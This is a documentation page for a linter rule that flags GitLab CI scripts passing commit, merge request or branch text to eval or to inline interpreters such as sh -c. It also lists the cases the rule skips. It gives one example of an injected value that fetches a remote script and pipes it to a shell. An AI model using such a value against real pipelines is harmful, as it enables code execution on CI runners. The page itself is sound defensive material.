> ## Documentation Index
> Fetch the complete documentation index at: https://loadwise.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# gitlab-ci-script-injection

> A GitLab CI script passes commit, merge request or branch text to eval or inline code, which parses it as commands.

## What it flags

A `script:`, `before_script:` or `after_script:` line in a job, `default:` or the global section of `.gitlab-ci.yml` (or `*.gitlab-ci.yml`) that hands commit, merge request or branch text to a command that parses it as code: `$CI_COMMIT_MESSAGE`, `$CI_COMMIT_TITLE`, `$CI_COMMIT_DESCRIPTION`, `$CI_COMMIT_AUTHOR`, `$CI_COMMIT_BRANCH`, `$CI_COMMIT_REF_NAME`, `$CI_MERGE_REQUEST_TITLE`, `$CI_MERGE_REQUEST_DESCRIPTION`, `$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME` and `$CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME`, written as `$NAME` or `${NAME}`. The shell expands the variable, so a plain `echo "$VAR"` or `git checkout "$VAR"` only passes text and is not reported. The risk is a second parse: `eval` re-reads all its arguments as commands, and `sh -c`, `bash -c`, `python -c`, `node -e`, `ruby -e`, `perl -e`, `php -r` and `pwsh -Command` read their next argument as code, so a value such as `$(curl evil.sh | sh)` runs. [GitLab docs](https://docs.gitlab.com/ci/variables/predefined_variables/)

Not flagged: the variable in single quotes or escaped (`\$VAR`), so the inner shell reads it from the environment; the variable passed as a later argument (`sh -c 'echo "$1"' _ "$VAR"`); `eval` inside a string or after another command on the same line; text inside `$(...)` or backticks, unless an `echo` or `printf` there prints it back into the code; and scripts that span lines with a trailing backslash. YAML anchors and aliases are not expanded. `$CI_COMMIT_REF_SLUG` is sanitized and not checked.

```yaml theme={null}
script:
  - python3 -c 'import os; print(os.environ["CI_COMMIT_TITLE"])'
```

## Configuration

Set the rule to `"off"` in `loadwise.config.json` to drop its findings:

```json theme={null}
{
  "rules": { "gitlab-ci-script-injection": "off" }
}
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.